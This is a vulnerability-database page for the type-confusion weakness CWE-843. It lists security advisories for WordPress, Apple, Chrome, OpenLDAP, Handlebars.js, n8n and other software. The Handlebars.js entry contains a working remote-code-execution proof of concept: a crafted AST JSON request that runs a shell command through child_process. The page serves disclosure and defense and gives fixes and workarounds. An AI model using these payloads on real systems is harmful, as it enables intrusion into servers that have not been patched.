Common Weakness Enumeration
CWE-843
AllowedAccess of Resource Using Incompatible Type ('Type Confusion')
Abstraction: Base · Status: Incomplete
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
1126 vulnerabilities reference this CWE, most recent first.
GHSA-2PC4-PM2M-Q53R
Vulnerability from github – Published: 2026-02-18 12:31 – Updated: 2026-02-18 12:31
VLAI
Details
The Brevo - Email, SMS, Web Push, Chat, and more. plugin for WordPress is vulnerable to authorization bypass due to type juggling in all versions up to, and including, 3.3.0. This is due to the use of loose comparison (==) instead of strict comparison (===) when validating the installation ID in the /wp-json/mailin/v1/mailin_disconnect REST API endpoint. This makes it possible for unauthenticated attackers to disconnect the Brevo integration, delete the API key, remove all subscription forms, and reset plugin settings by sending a boolean true value for the id parameter, which bypasses the authorization check through PHP type juggling.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-14799"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T12:15:58Z",
"severity": "MODERATE"
},
"details": "The Brevo - Email, SMS, Web Push, Chat, and more. plugin for WordPress is vulnerable to authorization bypass due to type juggling in all versions up to, and including, 3.3.0. This is due to the use of loose comparison (==) instead of strict comparison (===) when validating the installation ID in the `/wp-json/mailin/v1/mailin_disconnect` REST API endpoint. This makes it possible for unauthenticated attackers to disconnect the Brevo integration, delete the API key, remove all subscription forms, and reset plugin settings by sending a boolean `true` value for the `id` parameter, which bypasses the authorization check through PHP type juggling.",
"id": "GHSA-2pc4-pm2m-q53r",
"modified": "2026-02-18T12:31:11Z",
"published": "2026-02-18T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14799"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mailin/tags/3.2.9/sendinblue.php#L1795"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mailin/tags/3.2.9/sendinblue.php#L1833"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3448639"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f29e5b19-2505-4b02-92c7-071833de6bc2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2QWW-MX2P-2V4M
Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2025-01-28 15:31
VLAI
Details
A type confusion issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.2, iOS 18.2 and iPadOS 18.2. An attacker with user privileges may be able to read kernel memory.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-54507"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-27T22:15:12Z",
"severity": "MODERATE"
},
"details": "A type confusion issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.2, iOS 18.2 and iPadOS 18.2. An attacker with user privileges may be able to read kernel memory.",
"id": "GHSA-2qww-mx2p-2v4m",
"modified": "2025-01-28T15:31:56Z",
"published": "2025-01-28T00:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54507"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121837"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2V3R-26J9-RJQH
Vulnerability from github – Published: 2024-08-24 00:30 – Updated: 2024-08-24 00:30
VLAI
Details
Microsoft Edge (HTML-based) Memory Corruption Vulnerability
Severity
6.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-38207"
],
"database_specific": {
"cwe_ids": [
"CWE-787",
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-23T23:15:08Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (HTML-based) Memory Corruption Vulnerability",
"id": "GHSA-2v3r-26j9-rjqh",
"modified": "2024-08-24T00:30:29Z",
"published": "2024-08-24T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38207"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38207"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2V7J-WFPJ-JG3J
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 18:31
VLAI
Details
Type Confusion in ANGLE in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
Severity
9.6 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-13883"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:02Z",
"severity": "CRITICAL"
},
"details": "Type Confusion in ANGLE in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-2v7j-wfpj-jg3j",
"modified": "2026-07-01T18:31:31Z",
"published": "2026-07-01T00:34:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13883"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/500030250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2VM8-9Q6F-6VXG
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details
A flaw was discovered in ldap_X509dn2bv in OpenLDAP before 2.4.57 leading to a slapd crash in the X.509 DN parsing in ad_keystring, resulting in denial of service.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2020-36229"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-26T18:15:00Z",
"severity": "HIGH"
},
"details": "A flaw was discovered in ldap_X509dn2bv in OpenLDAP before 2.4.57 leading to a slapd crash in the X.509 DN parsing in ad_keystring, resulting in denial of service.",
"id": "GHSA-2vm8-9q6f-6vxg",
"modified": "2022-05-24T17:40:18Z",
"published": "2022-05-24T17:40:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36229"
},
{
"type": "WEB",
"url": "https://bugs.openldap.org/show_bug.cgi?id=9425"
},
{
"type": "WEB",
"url": "https://git.openldap.org/openldap/openldap/-/commit/4bdfffd2889c0c5cdf58bebafbdc8fce4bb2bff0"
},
{
"type": "WEB",
"url": "https://git.openldap.org/openldap/openldap/-/tags/OPENLDAP_REL_ENG_2_4_57"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00005.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210226-0002"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212529"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212530"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212531"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4845"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/64"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/65"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2VV6-FVMM-G8R3
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details
Access of resource using incompatible type ('type confusion') in Composite Image File System Driver allows an authorized attacker to disclose information locally.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-50381"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:01Z",
"severity": "MODERATE"
},
"details": "Access of resource using incompatible type (\u0027type confusion\u0027) in Composite Image File System Driver allows an authorized attacker to disclose information locally.",
"id": "GHSA-2vv6-fvmm-g8r3",
"modified": "2026-07-14T18:32:05Z",
"published": "2026-07-14T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50381"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion
Details
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Severity
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33937"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:19:58Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-2WRV-MV5P-JX2G
Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2022-05-24 17:04
VLAI
Details
Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, Safari 12.1.1, iTunes for Windows 12.9.5, iCloud for Windows 7.12. Processing maliciously crafted web content may lead to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2019-8597"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-18T18:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, Safari 12.1.1, iTunes for Windows 12.9.5, iCloud for Windows 7.12. Processing maliciously crafted web content may lead to arbitrary code execution.",
"id": "GHSA-2wrv-mv5p-jx2g",
"modified": "2022-05-24T17:04:17Z",
"published": "2022-05-24T17:04:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8597"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210118"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210119"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210120"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210123"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210124"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210125"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210212"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2X35-3FW4-9JR4
Vulnerability from github – Published: 2026-07-22 22:09 – Updated: 2026-07-22 22:09
VLAI
Summary
n8n: Send Email Node Arbitrary File Read and SSRF via Nodemailer Content-Object Type Confusion
Details
Impact
The n8n Send Email node did not enforce that its message fields were strings, so a crafted untrusted non-string value from a workflow expression could be treated by the underlying mail library as a file path or URL. This could allow disclosure of local files on the n8n host.
Exploitation requires a pre-existing active workflow with an unauthenticated webhook, valid SMTP credentials configured on the Send Email node, and untrusted input mapped directly into the text or HTML body field. This is not a default n8n configuration.
Patches
The issue has been fixed in n8n versions 1.123.67, 2.31.5, and 2.32.1. Users should upgrade to one of these versions or later to remediate the vulnerability.
Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Audit active workflows for Send Email nodes that map untrusted webhook or external data directly into the text or HTML body fields, and remove or restrict those workflows. - Restrict public webhook access at the network or reverse-proxy level to prevent unauthenticated callers from reaching sensitive workflows. - Restrict workflow creation and editing permissions to fully trusted users only.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.123.67"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "2.32.0"
},
{
"fixed": "2.32.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-rc.0"
},
{
"fixed": "2.31.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-843",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:09:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nThe n8n Send Email node did not enforce that its message fields were strings, so a crafted untrusted non-string value from a workflow expression could be treated by the underlying mail library as a file path or URL. This could allow disclosure of local files on the n8n host.\n\nExploitation requires a pre-existing active workflow with an unauthenticated webhook, valid SMTP credentials configured on the Send Email node, and untrusted input mapped directly into the text or HTML body field. This is not a default n8n configuration.\n\n## Patches\n\nThe issue has been fixed in n8n versions 1.123.67, 2.31.5, and 2.32.1. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Audit active workflows for Send Email nodes that map untrusted webhook or external data directly into the text or HTML body fields, and remove or restrict those workflows.\n- Restrict public webhook access at the network or reverse-proxy level to prevent unauthenticated callers from reaching sensitive workflows.\n- Restrict workflow creation and editing permissions to fully trusted users only.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
"id": "GHSA-2x35-3fw4-9jr4",
"modified": "2026-07-22T22:09:11Z",
"published": "2026-07-22T22:09:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-2x35-3fw4-9jr4"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/commit/f69dfc6dd2178a14ea1624d2e1d403c2e755042f"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@1.123.67"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.31.5"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.32.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "n8n: Send Email Node Arbitrary File Read and SSRF via Nodemailer Content-Object Type Confusion"
}
GHSA-2XCH-5969-PHFH
Vulnerability from github – Published: 2025-04-05 06:30 – Updated: 2025-04-05 06:30
VLAI
Details
A type confusion vulnerability in lib/NSSAuthenticator.php in ZendTo before v5.04-7 allows remote attackers to bypass authentication for users with passwords stored as MD5 hashes that can be interpreted as numbers. A solution requires moving from MD5 to bcrypt.
Severity
4.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-32352"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-05T05:15:44Z",
"severity": "MODERATE"
},
"details": "A type confusion vulnerability in lib/NSSAuthenticator.php in ZendTo before v5.04-7 allows remote attackers to bypass authentication for users with passwords stored as MD5 hashes that can be interpreted as numbers. A solution requires moving from MD5 to bcrypt.",
"id": "GHSA-2xch-5969-phfh",
"modified": "2025-04-05T06:30:20Z",
"published": "2025-04-05T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32352"
},
{
"type": "WEB",
"url": "https://projectblack.io/blog/zendto-nday-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.